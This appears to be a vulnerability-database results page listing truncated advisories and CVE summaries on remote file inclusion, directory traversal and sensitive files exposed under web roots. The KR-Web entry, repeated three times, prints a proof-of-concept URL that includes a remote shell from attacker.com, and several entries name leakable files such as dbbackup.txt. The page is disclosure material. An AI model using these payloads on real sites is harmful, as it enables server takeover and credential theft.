kr-web 1.1b2 - Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web PoC : http://server/path/adm/krgourl.php?DOCUMENTROOT=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all member at...

kr-web 1.1b2 - Remote File Inclusion

kr-web 1.1b2 - Remote File Inclusion Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web PoC : http://server/path/adm/krgourl.php?DOCUMENTROOT=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I...

KR-Web 1.1b2 Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg KR-Web PoC : http://0wn3d.com/path/adm/krgourl.php?DOCUMENTROOT=http://attacker.com/shell.txt?cmd Thx 2 : str0ke, opt!x hacker, xoron, irvian, cyberlog, basix, dan seluruh orang yang membenciku dan menyayangiku I Love U Full : /\ all member at...

Improper access control

PAD Site Scripts 3.6 stores sensitive information under the web document root with insufficient access control, which allows remote attackers to download the database and obtain sensitive information via a direct request for dbbackup.txt...

CVE-2009-1941

PAD Site Scripts 3.6 stores sensitive information under the web document root with insufficient access control, which allows remote attackers to download the database and obtain sensitive information via a direct request for dbbackup.txt...

CVE-2009-1941

CVE-2009-1941 affects PAD Site Scripts 3.6. The vulnerability arises from storing sensitive information under the web document root with insufficient access control, allowing remote attackers to download the database via a direct request for dbbackup.txt. Impact is consistent with the CVSS v2 bas...

dwebpro 6.8.26 - Directory Traversal / File Disclosure

dWebPro v 6.8.26 ============================================ Remote Directory Tarvelsal && Remote File Disclosure p0c's ============================================ Download : http://www.dwebpro.com/downloads/dwebpro6.8.26.exe ============================================ Autor : Alfons Luja Test...

Viart shopping cart 3.5 - Multiple Vulnerabilities

=============================================================== !vuln ViArt Shopping Cart v3.5 is prone to multiple remote vulnerabilities. Earlier versions may also be affected. ===============================================================...

CVE-2008-2041

Multiple unspecified vulnerabilities in eGroupWare before 1.4.004 have unspecified attack vectors and "grave" impact when the web server has write access to a directory under the web document root...

CVE-2008-2003

BadBlue 2.72 Personal Edition stores multiple programs in the web document root with insufficient access control, which allows remote attackers to 1 cause a denial of service via multiple invocations of uninst.exe, and have an unknown impact via 2 badblue.exe and 3 dyndns.exe. NOTE: this can be...

Quick Classifieds 1.0 - controlpannelcreateL.php3?DOCUMENT_ROOT Remote File Inclusion

Quick Classifieds 1.0 - controlpannelcreateL.php3?DOCUMENTROOT Remote File Inclusion source: https://www.securityfocus.com/bid/28417/info Quick Classifieds is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issue...

CVE-2007-5685

The CVE-2007-5685 issue affects the shttp project’s safe_path function, vulnerable before version 0.0.5. The function allows directory traversal when processing a sequence mixing ".." and sub-directories, resolving to a path at or below the web document root but located elsewhere in the tree. Thi...

shttp004-traverse.txt

The most recent version of this advisory including any updates is available at: http://www.digineo.co.uk/shttpdirectorytraversal Directory Traversal Flaw in shttp --------------------------------- Affected product: shttp Product vendor: Vito Caputo - http://serverkit.org/modules/contrib/shttp/...

CVE-2003-1404

DotBr 0.1 stores config.inc with insufficient access control under the web document root, which allows remote attackers to obtain sensitive information such as SQL usernames and passwords...

CVE-2003-1401

login.php in php-Board 1.0 stores plaintext passwords in $username.txt with insufficient access control under the web document root, which allows remote attackers to obtain sensitive information via a direct request...

CVE-2003-1423

Vulnerability summary: Petitforum stores the liste.txt data file under the web document root with insufficient access control, allowing remote attackers to obtain sensitive information (e-mails and encrypted passwords). Root cause: improper access restrictions on the data file within the web root...

PT-2007-6476 · Unknown · Crs Manager

Name of the Vulnerable Software and Affected Versions: CRS Manager affected versions not specified Description: The issue concerns multiple PHP remote file inclusion vulnerabilities. These vulnerabilities allow remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT ROOT paramete...

CVE-2007-5193

The default configuration for twiki 4.1.2 on Debian GNU/Linux, and possibly other operating systems, specifies the work area directory cfgRCSWorkAreaDir under the web document root, which might allow remote attackers to obtain sensitive information when .htaccess restrictions are not applied...

CVE-2007-5193

The default configuration for twiki 4.1.2 on Debian GNU/Linux, and possibly other operating systems, specifies the work area directory cfgRCSWorkAreaDir under the web document root, which might allow remote attackers to obtain sensitive information when .htaccess restrictions are not applied...

CVE-2007-5193

Twiki 4.1.2 on Debian GNU/Linux (and possibly other OS) has a default configuration that places the work area directory (cfg{RCS}{WorkAreaDir}) under the web document root. This may allow remote attackers to obtain sensitive information if .htaccess restrictions are not applied. Public details co...